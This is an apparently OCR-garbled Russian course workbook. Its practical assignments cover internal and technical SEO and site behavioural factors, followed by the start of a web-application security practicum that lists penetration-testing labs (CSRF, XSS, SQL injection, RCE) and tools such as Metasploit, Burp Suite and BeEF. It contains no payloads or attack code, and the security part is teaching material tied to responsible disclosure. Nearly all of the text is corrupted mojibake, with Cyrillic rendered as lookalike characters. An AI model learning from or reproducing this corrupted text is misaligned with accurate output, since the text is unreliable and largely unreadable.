INPAKTHYECKASI PABOTA Ne 3. IPOBEJEHHUE BHYTPEHHEMH SEO
ONITUMMU3ALINUN CAUTA

Iean: nony4yeHne HaBBIKOB MTpoBeACHUs BHyTpeHHer SEO ontuMuszanuu canra.
Teopemuueckue 60npocwl

Buytpennsst SEO ontumuizarus caiita.
BHyTpeHnHsis onTumu3anus caita — JEUCTBUS, IPOBOJAMMBIE HAJ CAWTOM C LIEJIBIO TOBBICUTH MO3WULIMHU
CTpaHUI] B IOMCKOBBIX CUCTEMAaX MO 3a/IaHHOMY CITUCKY KITFOUEBBIX (pa3.

SEO-onmumuzayus cavma

1. Co3maiiTe KOppEKTHBIHN robots.txt.
Robots.txt — TEeKCTOBBI JTOKYMEHT, pacloOJIO)KEHHBI B KOPHEBOM Kartajore caiita. B HeM yka3aHbl
MHCTPYKIMU O TOM, KaKU€ CTPaHUIbl Pa3pelIeHO MHAECKCUPOBATh NMOMCKOBBIM CHUCTEMaM, a KaKUe HeT.
Hanwmuue robots.txt He 00s3aTeILHO W €r0 OTCYTCTBUE O3HAYaeT pa3pelieHUe MHISKCUPOBATH CalT 0e3
orpannyeHuil. KoppekTHblil robots.txt MOMOXKET MOUCKOBBIM CUCTeMaM ObICTpee U MOJTHEe UHIEKCHPOBAThH
CauT.

2. YKaXuTe MpaBWIbHBIN TEr <meta name="robots” content=""...">,



Mera-Tern HaxoasaTcs B pasaene <head> HTML-kona nokymeHTa:

Mera-Ter <meta name="robots” content="""> ynpapisieT HHACKCALUEH CTPAHUIIbI B TOMCKOBBIX CHCTEMAX.
OtcyTcTBME 3TOr0 METa-Tera O3HAYaeT pa3pellieHHWEe Ha HWHJIEKCHpOBaHHME JOKyMeHTa. CrenuaibHble
3HaYeHMs aTpudyTa content MO3BOJISIOT:

e content="noindex” — 3anPEeTUTh HHICKCAITUIO TEKCTA,

e content="nofollow” — 3ampeTUTh IEPEXO/ IO CCHUIKAM Ha CTPAHHIIC.

3. UcknrounTe NosiBICHUE TyOJICH.

Jly6mu — oTMHAKOBBIE TIO COJICPYKAHHIO JIOKYMEHTHI, JOCTYITHBIE TI0 ABYM oTiandHbiM URL-agpecam.

Takue cTpaHuIsl co cTOpoHBI SHmekca u Google MOTYT OBITh IECCUMU3UPOBAHBI.
PacnipocTpaneHHass mpuyYuHA TOSIBICHUS JyOJIe — OTCYTCTBHE SIBHOTO yKa3aHHs Ha TJIABHOE 3€pKaio.
3epKajiaMy CUMTAIOTCSI CAWTBhI, SIBJSIOIIMECS MOJHBIMU KOMUSIMU 110 KOHTEHTY. Tak, CTpaHUIbl UHTEPHET-
pecypca MOTYT OBITh IOCTYITHBI IO aJIpecy ¢ WWW M 0€3 Hero, C clIdIIeM ““/” B KOHIIEe WiIu 0€3 Hero.

4. TlpokauaiiTe qU3aiiH U FO3a0MITUTH.

[TouckoBble CHCTEMBI TPHUAAIOT OOJBIIYI0 BaXHOCTh IOBEICHUECKHM (hakTopaM, KOTOpPbBIS
OLICHMBAIOTCSI MTOKAa3aTeJsIMM — OTKa3bl, BpeMsl Ha caiite, riyOnHa mpocmorpa. KadectBo nuzaiiHa u
103a0WJINTH CWJIBHO BJIWSET HA 3HAYEHUsS OTHUX Tokasarened. Jlu3aliH 1OJDKeH OBITh BH3yaJIbHO
MPUSATHBIM, HHTYUTUBHO MOHSATHBIM U YJIOOHBIM ISl TOCETUTENIEH.

5. IToBBICKTE CKOPOCTH 3arpy3KH.

OTAMYHBIM TIOKA3aTeNIeM MOXKHO CUMTATh, €CJIM BpeMs 3arpy3Kd HE MPEBBIIIACT 2 CEKYH]I, MPUEMIIEMbIM
— 10 5 cexkyHa. Ecnu caliT 3arpyxaercsi CIMIIKOM MEJJIEHHO, CKOPEE BCETO, CIEAYET BBINOJIHUTH ATH
JIeNCTBUA:

® JCIOJIb30BaTh BEHICOKOCKOPOCTHOM XOCTHHT;

BBIOPATh ONTUMAJIbHBIC TTAPAMETPhI H300paKEHUT;

ONTUMHU3UPOBATH KOJI;

munummzupoats HTML, CSS, JS;

MOIKTIOYUTH MUHUMAJILHOE KOJIMYECTBO BHEIIHUX (HaliJIOB;

BKJIIOUUTH C)KaTUE JTAHHBIX Ha CEpPBEpE.
. Ynenure Baumanue SMO.
Social Media Optimization (SMO) — onTuMu3anust A1 COIUATBHBIX MeIMa, KOTOPast B IIEJIOM 3aKITI0YAETCs
B MTOBBIIICHUH Y00CTBA MCIIOH30BAHMSI CAliTa TOCETUTEIISIMHA U3 COITUAIBHBIX CETEH.

Ha npakTtuke 370 03Ha4aeT cleayromue 1eMCTBUS:

® JCIOJIL30BaHHUE KHOIOK “TIOJIENTUTHCS )

® BHEJIPEHUE MUKPOPA3METKH;

® YKa3aHME CCHUJIOK Ha MPEICTABUTEIHCTBA B COIIMATBHBIX CETAX.

CMbICT HaJdu4Msl KHOIOK “TIOJEIMTBHCA B TOM, YTOOBI IIOJIH30BATEII0 OBUIO JIETKO IOJCIUTHCS
MMOHPABUBIIIEMCSI MAaTEPUAJIOM Ha CBOCH JIMYHOU CTPAHUIIE B COITUATLHOM CETH.
CommaneHele ceTd moanepkuBatoT mpotokon Open Graph. Mukpopa3zmeTka ympaBisieT 3arojlOBKOM,
M300paKeHUEM, OTTMCAHUEM M CCBIIIKOM, KOT/Ia CTAaThIO CailiTa pa3MeIIaoT B COIMAIIBHON CETH.
Ecnu BBl MMeeTe NUYHBIE MPOPWIA B COLMATBHBIX CETAX WM COOOIECTBa, TO YKAXKHUTE UX ajpeca Ha
CBOEM caiiTe.

7. Ucnionb3ylTe HHCTPYMEHTHI TIOMCKOBBIX CUCTEM.

Onmumuzayusi cmpanuy cauma

Henpto SEO onTumu3alnuu CTpaHUIbl ABISIETCS MAKCUMAJIbHOE IOBBIIICHUE €€ PEJIEBAaHTHOCTU B
MMOMCKOBBIX CHCTEMaX M0 KOHKPETHBIM KIIFOUEBBIM (ppazam.

1. MUcnionb3yiiTe kito4eBbie Gppasbl B <title>.

OTtoOpaxaeTcsi Kak 3arojIOBOK BKJIAIKA Opay3epa W MOXET OBbITh MCIIOJIB30BAaH B PE3yJIbTaTax BbIIAUU.
[Ipu coctaBieHnu 3arojoBKa CIEAYyUTE 3TUM PEKOMEHIALIUSAM:
® HaYMHAITE 3ar0JOBOK C OCHOBHOW KJIFOUEBOM (ppa3sr;
HE MPEBBIIIANTE 3HAYCHHUE JJIMHBI 3arojioBKa B 70-80 CMBOJIOB;
WCIIOJIBb3YUTE YHUKAIBHBIE 3ar0JIOBKH B TIPEEiaX CBOETO CaiiTa;
COCTAaBJISIUTE TPAMOTHBIM M OCMBICIICHHBIN TEKCT 3ar0JI0BKa;
HE BKJIIOYAKTE B 3aT0JIOBOK 3HAKH 3aBEPIICHUS MpeaoxeHus — .!? 3aMeHsiTe X Ha : — U |
CoziepKUMO€ 3TOro Tera He MPUCYTCTBYET Ha CTPAHHUIIE.
Ha pamxupoBanue mera-ter BiuseT ciiabo. [TouckoBbIE cHCTEMBI MOTYT HCIOJB30BaTh COACpPKaHUE
ATOTO TeTa B CHUIIIIETE HA BBIJIaUe, UTO OKA3bIBACT CYIIECTBEHHOE BIMsHUE Ha KiukadenbHOCTh (CTR).
2. [loaroroBeTre ommcanus s description.

aNe o o o o
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Mera-Ter <meta name="description” content=
JIOKYMEHTA.

> pacroiokeH B ceknun <head> HTML-kona



3. CTpyKTypHUpyHTE COAECPKUMOE.
®opmar nojaud MHGOpPMALMK BIUSET Ha yJI0OCTBO ee BOCHpUATHS 4denoBekoM. [lomckoBbie
CHUCTEMBl YMEIOT pacrlo3HaBaTh (opmar Moaayu HHPOPMAIUK, aHATH3UPYS KOA BEPCTKU
ctpanuipl. B HTML-koae cyniecTByroT pa3iuyuHble TE€TH JUIsl BEpCTKA COOTBETCTBYIOMINUX OJIOKOB:
e a03aIel <p>
3aroJIOBKU U moa3arojoBku <hl>...<h6>
MapKHpPOBaHHBIE M HyMEPOBaHHBIE CIIUCKU <ul>, <ol>
Tabnuipl <table>
n300pakeHus <img>
Crapaiitech pa3HOOOPa3UTh BEPCTKY M YMECTHO UCTIOIB30BaTh MOJJOOHBIC OJIOKH.
4. ONTUMUBHPYUTE TEKCT.
IIpu HanucaHuu TEKCTa, B IEPBYIO OUYEPEb, CIEAYET OPUEHTUPOBATHCS HA JIIOJEH U 3a00TUTHCS O
CMBICJIOBOM HAIIOJIHEHUH, a YK€ MOTOM ONTHMH3UPOBATH €ro i MOUCKOBBIX cucteM. [lemaiite
TEKCThl UHTEPECHBIMU U JITKUMHU JJi uTeHus1. [Ipu onTuMH3annum TeKcTa yYuThIBAaUTE CIIeyIONIne
pPEKOMEH IallUu:
® JCMOJB3yHTE OCHOBHYIO KITIOYEBYIO (pa3y B MEPBBIX 2—3 ab3arax;
UCIIOJIb3YHTE UEPAPXUIO 3ar0JIOBKOB U MOA3ar0JIOBKOB:
OCHOBHYIO KJTIOUEBYIO (Ppa3y BKIIOUUTE B TJIABHBIN 3aroioBoK hl;
HE co3/laBaiiTe 60see OHOTO TJIABHOTO 3aroJ0BKa Ha CTPAHULIE;
JIOTIOJTHUTENBHBIE KITF0UYeBbIe (hpa3bl BKIOYANTE B I0A3aroaoBKu h2...ho6;
pa3MeniaiTe TeKCTbl YMECTHOIO 00beMa:
kommepyueckue: 2000-3000 cuMBOJIOB;
nHdopmarmonsie: oT 5000 cMMBOJIOB;

® pPaBHOMEPHO pachpesensiiTe KiIrodeBble ¢pa3bl MO TEKCTy, M30eraifTe MX CKOIJICHHS B
OJIHOM YacCTH.

Kpome »TOrO Bamn TEKCT JOMKEH ObITh YHUKAIBHBIM U HE COJIEPKaTh IPAMMATUYECKUX OIIUOOK.
[lomHuTE, YTO 3a yacToe BKJIIOYEHHE KIIOYEBBIX (pa3 B TEKCT, MOUCKOBBIE CHUCTEMBI MOTYT
HAJIO)KUTh CAHKIIMH 3a MepeonTuMu3anuo. ONTuManbHOE KOJIMYECTBO BXOXKICHUM B MPOLIEHTaX OT
o0miero obbeMa TeKCTa ISl KaKJIOro 3ampoca CBOE€. Y3HaTh €ro OpPHEHTHPOBOYHO MOKHO
MIPOAHAIU3UPOBAB KOHKYPEHTOB B TOII-S.

5. OnTuMu3upynuTe U300pakeHUs.

KadecTBeHHBIN TEKCT 4acCTO COMPOBOXKIAETCA WILTIOCTPALMSAMHU, KaK, HAPUMEpP, 3Ta CTaThsi. IDTO
HPaBUTCS TIOJIb30BATENISIM, HO B ATOM TakXkKe €CTh HeKoTopble mpoosemsl miss SEO. [loGasisis
M300paXeHHsI Ha CTPAHMUILy, YBEJIMUMBACTCS €€ OOIIMK BeC W TeM CaMbIM CHIDKAETCS CKOPOCTh
3arpy3ku. BeiOupaiite KoppekTHbIN (hopmaT U pazMep n300pakeHUs — OT ITOTO 3aBHCHUT pa3Mep
¢aiina. [Tpu BeIOOpe Gpopmarta cieayiTe cIeayonUM MPOCTHIM IPaBHIIaM:

e eciu 3To aHuManus — .gif;

e eciu He0OX0AUM Mpo3payHblil (OH — .png;

® B OCTQJIbHBIX CIyYasxX — .jpg.

Bri6op pazmepa: B o0mieM cirydae Bec M300pakeHusi TeM Oonblie, yem Oosnbine ee pasmep. Eciu B
cTaThe pasmeniaerca kaptuHka pazmepoM 400x200 nukcenei, TO He HYXHO JUISI ATUX IeJei
UCHoJb30BaTh opuruHai B pasmepe 1600x800 u cxxumats ero B Opaysepe 10 400x200.

B Takom ciydae B rpaduueckoM penakTope cieayeT M3MEHHTh pa3Mep A0 HeOoOXOIMMOIo
400%200. M300pakeHrsT Ha CTPAHUIYy JOOABISIOTCS C TIOMOIIBIO Tera <img>, KOTOPBIA HMEET
aktyanpHbie 11t SEO aTpuOyThI:

® src — BKIIIOYAeT Ha3BaHue (paiina;

e alt — ommcaHue, KOTOPOE MOSBIIAETCS MPH HEBO3MOXXHOCTH 3arpy3UTh KAPTHHKY;

e title — BcrTBIBaIOMAs MOICKA3KA, TOSIBIISIONIASCS MTPH HABEICHUU.

[Tpu BeIOOpE Ha3BaHUs (aiiina ¢ N300paKeHHEM OT/AaBalTe MPEINOUYTEHUE IAKOHUTHOMY BapUaHTY
omuCchIBaroIeMy CyTh ¢aitna. B arpubyre alt BkimtounTte kpaTkoe ommcanue 10 10 cjaoB TOro, 4TO
MMEHHO MOKa3aHO Ha KapTUHKE.
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6. Mcnionb3yiiTe BHYTPEHHIOIO TIEPETHHKOBKY.
BHyTpeHHsIS TepeIMHKOBKA — 3TO CCBUTKU MEK/Ty BHYTPEHHUMU CTpaHuIaMu. Ha kpymHBIX caliTax
OCHOBHBIN 2PPEKT OT MEePETUHKOBKH 3aKII0YaeTCs B IIepepacipeieIeHU Beca CTPAHHUIL B MOJIb3Y
HamOosee BaXKHBIX. DTO TO3BOJIIET WM HECKOJIBKO JIydllle paHXHpoBaThCs. Ha HeOobmImx
TUIOMIAaIKax Takoi 3¢ (deKT Mano3aMeTeH, HO B 3TOM CiIy4ae MEepEeTUHKOBKA TOXKE UTPAET BAXKHYIO
poitb. [Ipr yMECTHOM UCTIOIB30BaHUH CCHIJIOK BHYTPH CTAaTEH IMOJIb30BATENb OYAET MEPEXOIUTH T10
HUM M TPOBOAWTHL OONbBIIE BPEeMEHM Ha pecypce, yhydinas TMOBEACHUECKUE (aKTOPHI.
PacripocTpaHeHHbIC BUJIBI TIEPEITMHKOBKU — PEKOMEHIATSIIbHBIC OJIOKM ¥ KOHTEKCTHBIC CCHUTKH.
7. I'paMOTHO TPUMEHSNTE UCXOIALIUE CCHLIKHU.
Cy1iecTByeT MHEHHE, YTO HEXKEIAaTeIhbHO CTaBUTh MCXOJMSIIUE CCBUIKM HAa BHEITHHE pecypchl. B
cpelle ONTUMHU3ATOPOB €CTh Pa3UYHBIE APTYMEHThI 3a W MNPOTUB. McXopmsmue CChUTKH Ha
ABTOPUTETHBIC TEMATHUYECKUE TUIOMIAJIKK ITOMOTAIOT B MPOJBMKCHHUH. TakWe CCBUTKHA ITO3BOJISIOT
MOWCKOBUKAM TPaBWIBHO OMpPEIEINTh TEeMAaTUKY CchUlaromerocs caiira. Kpome storo Takue
CCBUIKM TIPHOABJISIOT aBTOPUTCTHOCTh M BameMy pecypcy. Mcxopasiiyue CChUIKM Ha CIIaMHBIC
pecypchl cienyer u3beratb WM HCIONB30BaTh JUisi HUX atpudyT rel="nofollow”. Takue cchimku
MOTYT MOSBIISATHLCS, HAIPUMED, B KOMMEHTAPHUSIX.
BxurouaiitTe B CTaThbU UCXOJISIINE CCHUTKA HAa aBTOPUTETHBIE TEMATUYECKUE TUIOIIAIKH.
3aoanue Ne 1. Tlposeaute SEO-onTuMu3anuio npeaioxKEeHHOrO canTa.
3aoanue Ne 2. Opopmure OTUET.

IHPAKTHYECKASA PABOTA Ne 4. TEXHUYECKASA
ONTUMM3AILIUS, JONOJHUTEJIBHBIE HACTPOUKHA

I_Ie.]'[]:: MOJIy4YCHHUC HABBIKOB TEXHUYECKON ONTHUMU3AIUMU CANTOB.

Teopemuueckue 60npocel
Texunyeckas ONTUMHA3ALINA
CauToB. Texuunyeckue

XapaKTepUCTUKH CalTa:

— (hbaiinm Robots.txt (mpuCyTCTBYT K ATOT (paitn);

— Hajnuue omuoku «Googlebot He MokeT mosryuuTh ocTyn K (aitnam CSS u JS Ha caiitey;
— CKOpPOCTb 3arpy3Ky CTPaHUIL;

— ONTHMHU3ALMUS TI0J] MOOUJIbHBIE YCTPOUCTBA,

— BaaugHocth HTML-xoza;

— OuTBIE CCHUIKU (HaJIMuue OUTHIX CCHUIOK HETaTUBHO CKA3bIBAETCS HA MPOABIKEHHN);

— 1yOJIMPOBAHHBIN KOHTEHT.

3aoanue Ne 1. IlpoBeauTte TEXHUUECKYIO ONTUMM3ALMIO NPEJIOKEHHOTO CaiTa.

3aoanue Ne 2. OdopMuTe OTUET.

INPAKTUYECKASA PABOTA Ne 5. YVIVUIIEHUE NOBEJEHYECKUX ®AKTOPOB

Iesb: nmonydyeHne HaBBIKOB yIyYIIEHUs MTOBEACHYECKUX (PaKTOPOB.
Teopemuueckue 6onpocwl
Yayuwenue nogeoenueckux gpaxmopog
[ToBeneHueckue (akTopbl — MOKA3aTeNM, XapaKTEepHU3YIOIIHME IMOBEACHUE JIOACH Ha BalleMm
caure.
[1® yunThIBalOTCATIOMCKOBBIMUA CUCTEMAaMH U BIUSIOT HA paHKUPOBAHUE caifTa.
CymiecTByeT OrpoMHOE KOJMUYecTBO (pakTopoB. Kak mpaBmiio OHHM JeNsATCs Ha BHEUIHHE U
BHyTpeHHHE. YTOOBI HE MBITaThCS OXBATUTh HEOOBATHOE, COCPEIOTOYMMCS CEro/IHA Ha 0a30BBIX
BHYTPEHHUX (paKTOpax: OTKa3bl, BpeMs Ha caiiTe, IITyOMHA MPOCMOTpa, Bo3BparThl. Ha 3Tu (akTopsl
BBl MOYKETE MOBJIHATH, paboTasi HaJl CBOUM CalTOM.
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BoT Heckonbko cr1oco60B, KOTOPBIE TOMOTYT YIYUIIUTh 3TH IMOKa3aTelu.
1. OTBeThTE Ha BOMPOC: O YEM CAUT?
[Toceturens OMKEH OBICTPO MOHATH TEMATUKY caiiTa, ero mnpeaHasHaueHue. O4eHb XOpOILIOo ¢
ATOM 3a/1a4eil CIIPaBIISIOTCA:
® JIOTOTHII U CJIOTaH, PACIIONIOKEHHBIE B IIIAIIKE CalTa;
® 3aroJIOBOK IVIABHOM CTPaHUIIBL;
e 00mWMii qU3aitH u ohopmiIeHHE caiTa.
BusyanbHO caliT TOJKEH COOTBETCTBOBATH CBOEH TeMaTHKE, a TEKCThl PACKPHIBATh €r0 CYIIHOCTD.
Takast nHQOpPMAISI TTOMOXET YENOBEKY IMOHATh, YTO CAHT OTBEUAeT €ro 3ampocy, MOoOYIUT €ro
yAETUTHh BalleMy pecypcy Oosbine BHMMaHus. Kak creicTtBue, MokaszaTreiab OTKa30B JOJKEH
CHU3UTHCS.
2. Pa3mectuTe BUTpUHY Ha TJIaBHOW CTpaHUIIE.
Ora pexkoMeHJalMs MOAXOAWT HWHTEpHET-Mara3uHaM WM caiiTaM ¢ KarajgoroM ToBapoB. He
3acTaBisSiTe YeJoBeKa MCKaTh TO, PaJy 4ero OH Mmpwuiien Ha calT. [IpaBunsHO chopmupoBaHHas
BUTPHHA 3aMHTEPECYET IIOCETUTENIS U 3aCTaBUT OCTAThCS Ha CaiiTe.
3. Pemmre KOHKpETHYIO 3a/1a4y MMOCETUTEIS.
JloGaBbTe Ha TJIABHYIO CTpAaHHIy OJIOK, TIOCBSIIIICHHBIM PEIICHUIO OIHON-CIUHCTBEHHOM
npo6sieMbl. XOpPOLIMMH TpUMEpPaMH MOTYT CIYXKUTh KaJbKyJIATOp pacdyeTra CTOMMOCTH (3akas3
KyXOHb) U CIICIIUATU3UpOBaHHas (hopMa MOUCKa (aBTOMOOMIIbHBIE 3aIT4acTH).
Taxoif crtoco6 — 3To0 BO3MOKHOCTh OJJHOBPEMEHHO U yJIep>KaTh MOCETUTENS Ha caiiTe, U BBIICIUTHCS
cpeau KOoHKypeHToB. llogymaiiTe, ecTb 7MW y LEIEBOr0 IOCETUTENs KOHKpPETHas HacyllHas
npoOiemMa, ¥ IONMpOOYHTE PEIINTH €€.
4. O0ecnieuybTe KAYECTBEHHYIO HABUTALUIO.
[Ipocnenure, 4TOOBI BCE CTaHAApPTHBIE CpPEJCTBA HABUTAIMM KOPPEKTHO paboTaliu U ObUIH
pacrosoKeHbl Ha KaXaA0M cTpaHule caifta. K ctaHmapTHBIM CcpelicTBaM OTHOCSTCS:
® TJIaBHOE MEHIO;
® BBIJICJICHHE aKTUBHOTO MMYHKTa MEHIO;
® Ha3BaHUE CTPAHHUIIBI (3aT0JIOBOK);
® HABUTAI[MOHHAS IEMOYKa (XJICOHBIE KPOIIKHU).
5. 1o6aBbTE MHTEPAKTUB.
CaMble OYEBH/IHbIE PEIICHHUS:
® cucTeMa OT3bIBOB;
® T0JIOCOBAHMS,
® OHJIAMH-KOHCYJIbTaHT;
e yar.
Kaxnpiii cioco0 mpeaHasHaueH s pelieHusi COOCTBEHHBIX 3ajjad, KOTOpPbIE, B CBOIO OYEpe[b,
3aBUCST OT TEMATUKH caiiTa. OLieHUTE peaibHyIO MMOJb3Y JJIs BaIIMX [TOCETUTENEH U He J0OaBIsAiTe
Ha cailT nuiHue QyHKIUH.
6. [lyOnukyiiTe TeMaTuuecKue CTaThu.
Pa3znen co cratbsiMu MOXET cTaTh cepAuemM caifta. Co CTOPOHBI MOCETUTENEH ATOT pasfeln caifta
pelIaeT HECKOJIbKO 3aau:
e JIydllle pacKphIBA€T CyTh BAILIEr0 TOBApa/yCIyTH AJIs OCETUTEIEH;
® TIOKa3bIBAET, YTO CANUT MOJJCPKUBACTCS B aKTyaJTbHOM COCTOSIHUU.
® JIEMOHCTPHUPYET Ball MPOphECCHOHATN3M.
7. CBSKUTE MaTepHAIIbl CaliTa CChUIKAMH.
IlepenMHKOBKAa — CCBIJIKM BHYTPHM CTPaHHUI] TEKCTa, KOTOPHIE BEIYT Ha APYTHE CTPAHUIIbl BAIIEro
caifta. Takke CChUIKM MOTYT pa3MelaThCsl CIMCKOM TOCTIEe TEKCTa U PacKphIBAaTh CBSI3aHHBIEC TEMBI.
B ciiydae ¢ nepenMHKOBKOW MOCETUTENIh MOXKET 3aMHTEPECOBATHCS M MIEPENTH Ha APYTHUE CTPAHUILIBI
BallIeTO caiiTa, 4ToOBkI Jiydllle pazoOparbcs B Bompoce. JIerko 1 opraHuyHoO 3TOT Coco0 coueTaeTcs
C TEMATUYECKUMU CTAThSIMH.
8. MHnnunpyiite BO3BpalieHUE OCETUTEIIEH.
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He Bcerna monmyuaercst cliesaTh MOCETUTENS KIIMEHTOM C MEPBOro pa3a. BoT HECKOIBbKO cr1ocoO0B
BEPHYTb [TOCETUTEIIS:
o dOynkuusa «CoobmuTh 0 noctymieHun». Eciu ToBap B OyryliemM NOSBUTCS B MarasuHe, TO
YeJI0BEK CMOKET BEPHYTHCS 3a MOKYTIKOM.
e Jlognucka Ha pacchlUIKy. Bbl MoXkeTe cooOuiaTh 4eloBEeKy, Hampumep, O MyOJIMKaluu
HOBBIX CTaTeu.
e Camu mo cebe MHTEpECHBIE MaTepHUalbl, CTATbU MOTYT MOOYIUTH 4YEIOBEKa COXPAHHUTh
CTpaHMILy B 3aKJIaJKaX U BEPHYThCS Ha Hee B OyIyLIEM.
9. TexHn4YeCKHE TOHKOCTH.
OTkpbIBaiiTe BHEIIHME CCBUIKM B HOBBIX BKJIaAKaX. B 3ToM cilyuae 4enoBeK He MOTepseT Ball
CallT U3 BUY U CMOXKET BEPHYTHCSA K TOMY MECTY, Ha KOTOPOM 3aKOHYMII paboTy ¢ caiiToM.
ObecnieubTe NpHUEMIIEMYIO  CKOPOCTh  3arpy3ku  cTpaHun. Hwukomy He  xouercs
paboratb c
«ropmo3smum» caiftoM. C MOMEHTa Iepexoja IO CChUIKE JI0 MOMEHTa OTOOpaKEHHUs CaMbIX
Ba)KHBIX 3JIEMEHTOB CTPAHUIBI (TIEPBOTO AKPAHA) JOIHKHO MPOXOAUTH He OoJbine 1-2 cexyH.
Odopmure crpanuny c¢ ommnbdkoi 404. Ha Takue cTpaHuIbl IOCETUTENN MOTYT MONAAATh, €CIH BbI
yIaJsUTH CTPAHMIIBI Ha caifte. Xopotro odopmiieHHas ctpanunia 404 mo3BOJIHUT YEIOBEKY BEPHYTHCS
K HOPMAJIbHOMY PEXHUMY paboTBhI.
3aoanue Ne 1. [Ipoananusupyiite nosegeHueckrue (pakTopsl NIpeyIOKEHHOTO caiTa.
3aoanue Ne 2. Opopmute oTUeT.

SIllpaktnueckne 3aganusa  mo Tt1eme MJAK. 09.0300ecnevyenue
0€30MacHOCTH BeO-NPUJI0KEHUI

S.11IpakTn4yeckue 3aganus mo teMe «9.3.1 Texnosiorun odecnedeHust
0€30MaCHOCTH BeO-NPUIIOKEHUIN»

JIABOPATOPHBIE PABOTBI I10 AHAJIU3Y 3ALTHUIIIEHHOCTH BEB-
ITPHJIOJKEHHH

B cooTBeTcTBUU € TeopHel KOMITBIOTEPHON OE30MMaCHOCTH pealin3a- LUs yrpo3 sIBISETCS
BO3MOXKHOU BCJIEJICTBUE HAIMYMS YA3BUMOCTEH B KOMITBIOTEPHOU cucteMe. OJTHUM U3 METOJIOB
obecrniedeHus 6e30mac- HOCTU KOMIBIOTEPHBIX CUCTEM SIBJISICTCS aHAIH3 3alIUIEHHOCTH, TI0-
HUMaeMBIi KaK TpoIecc Moucka (MIeHTU(UKAIINN) HEOCTATKOB M YA3BUMOCTEH.

JlabopaTopHBIi MPAKTHKYM COCTOMT U3 JIBYX 4YacTel. B mepBoif ya- cTH 00ydaronuiics J0KeH
CaMOCTOSITEIILHO BBHITIOJHHUTH BCE J1abopa- TopHbIe paboThl. OH JOHKEH HE MPOCTO MEXaHUICCKU
BBITIOJTHUTD KaK/IbIH IIar TOW MM MHOW paboTHI, a JIeTadbHO UCCIIEIOBATh BCE ONH- CAaHHBIC B
paboTe MPOTOKOJBI U TEXHOJIOTHH, JOOWBASCH MOJHOTO MO- HUMAHWSI BBITIOTHSICMBIX JCHCTBHIA.
B paMkax BTOpOW YacTH MPAKTH- KyMa OOYYarOIIUKCS BBITOJHSIET MMOUCK YSI3BUMOCTEH B
peanbHBIX BeO- MPUIIOKEHUSIX B paMKkax mporpamm «Bug Bounty» mmm «Responsible disclosure».
OOyuaronemMycss HEOOXOIUMO HAWTH M COOOIIMTH O 3-X JFOOBIX YSA3BUMOCTSX B BEO-
MPWIOKEHUSAX, BXOASIINX B riepeynu [1, 2].
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JlabopaTopHBIif MPAKTUKYM BKIIOYAET CIEAYIONIUE JIabopaTOpHBIE pabOTHI IO OCHOBAM aHAINU3a
3aIUAIIEHHOCTH BEO-TIPUIIOKCHHI:

. Coop nHpOpMAINH O BEO-NPHIOKECHUU.
. TectupoBaHue 3alUIIEHHOCTH TPAHCIIOPTHOT'O YPOBHSI.
. TectupoBaHue 3alUIIEHHOCTH MEXaHU3Ma YIIPaBJICHUS JOCTY- I1OM.
. TectupoBaHue 3aIIMIIIEHHOCTH MEXaHU3Ma YIPABJIECHUS CECCHSI- MU.
. TectupoBanue Ha yCTOWYMBOCTh K aTakaM OTKa3a B 0OCIy>KHBa- HUMU.
. Ilouck ys3Bumocreit k atakam CSRF.
. Ilouck ysa3Bumocrteil k atakam XSS.
. Ilouck ys3Bumocrteit k atakam SQL-injection.
. [louck yszBumocteit k atrakam RCE.
10. CkaHupoBaHHE YSI3BUMOCTEH BEO-TTPUIIOKEHUH.

Onucanue kaxxaoi 1a00paToOpHOM pabOThl COCTOUT U3 CIEAYIOUINX IEMEHTOB: Ha3BaHUE,

LIeJIb, KpaTKHE TEOPEeTHUYECKUE CBEAEHUs, IO-

O 0031 ON WL B~ W~

CTAaHOBKA 3aJ1a4yM, MOCJICIOBATEILHOCTh JCHCTBUN 00y4aeMoro, BOIPO- COB U JTOTIOTHUTEIBHBIX
3aJIaHni.

Jlnst obecriedeHust yCIIOBHI BBINIOJHEHHUS 1a00OPAaTOPHBIX pabOT HC- MOJB3YyeTCs CIeayIoIee
IporpaMMHOE oOecrieueHHe:

cpena Buptyanmzanuu VM Ware Player;
nuctpuOyTuBbl Backtrack Linux nnu Kali Linux;
cpela BBISBIEHUS W JKCIUTyaTanuu ys3BuMmocteil Metasploit Framework;
cpea TeCTUPOBaHUs 3allUIIEHHOCTH BeO-npuiiokeHuit Burp Suite;
cpelia dKCIuTyaTaluu ys3BUMocTell BeO-mpunoxkenuit BeEF;
HeOe3omnacHble BeO-npuiioskeHus mpoekra Web Goat;
o0pa3sl HeOe30MmacHbIX BeO-MpuiIoKeHui mpoekTa PentesterLab;
online u offline HeGe30MacHbIE BEO-TIPUITOKEHUS (CM. TIPUIIOKE- HUC);
coBpeMeHHbIe BeO-Opay3eps! (Internet Explorer, Google Chrome, Mozilla Firefox);
MIPOrpaMMHBIE CPEICTBA MHCTPYMEHTAILHOTO aHalu3a 3allUIIeHHO- ¢cTH X Spider miu
MaxPatrol 3A0 Ilo3utuB TeKHOIOKHC, @ TAKXKE CTICUATU3NPOBAHHBIE CKAHEPHI YSA3BUMOCTEH
BeO-npriokeHU# (Hanmpumep, Acunetix, AppScan, Burp Suite Pro, W3AF).
Bce HeoOxomuMble 111 BRITIOTHEHUS pabOT MaTepuaibl (JIUTEpaTy- pa, UHPOPMALMOHHBIC
peCypChl, 3a71a4i MOBBIIIEHHON CI0XHOCTH) MPUBEICHBI B TPHIIOKEHUSX.

N Y Y Y N Y A 0

Coop ungpopmayuu o eedo-npunosxcenuu

Lenv pabomui
Lenbto naboparopHoOil pabOTHI sABJIsIETCS 0Oy4eHHE METOAAM M CpelcTBaM cOopa HpopManuu
00 aHaTU3UPYyEMOM BEO-TIPUITOKCHHH.

Kpamkue meopemuueckue ceéedenus

OpHMM U3 MEPBBIX ITANOB aHAIKM3A 3AIIUIIIEHHOCTH JII000H KOMITb- FOTEPHON CUCTEMBI SIBIISIETCS
cOop nHpopManuu. B 3aBHCHMOCTH OT HCIIOJIE3YEMON METOIOJIOTHH aHAIN3a 3alIUIEHHOCTH BEO-
MIPUIIOKEHUSI MOTYT MPUMEHSTHCS pa3TUYHbIE METOBI M cpeAcTBa c6o- pa uHpopmaruu. CTout
OTMETUTh, 4TO cOOp MHPOPMAIINH, KaK MIPaBU- JIO, HE XapaKTEPEH JUIsl METOI0JIOT MU
WHCTPYMEHTAILHOTO aHallN3a 3alUIIIEHHOCTH (CKAaHUPOBAHUSA), @ XapaKTepeH AJIsi METOOJIOTHUH Te-
CTHUPOBAHUS Ha BO3MOXHOCTb IPOHUKHOBEHHUSI.

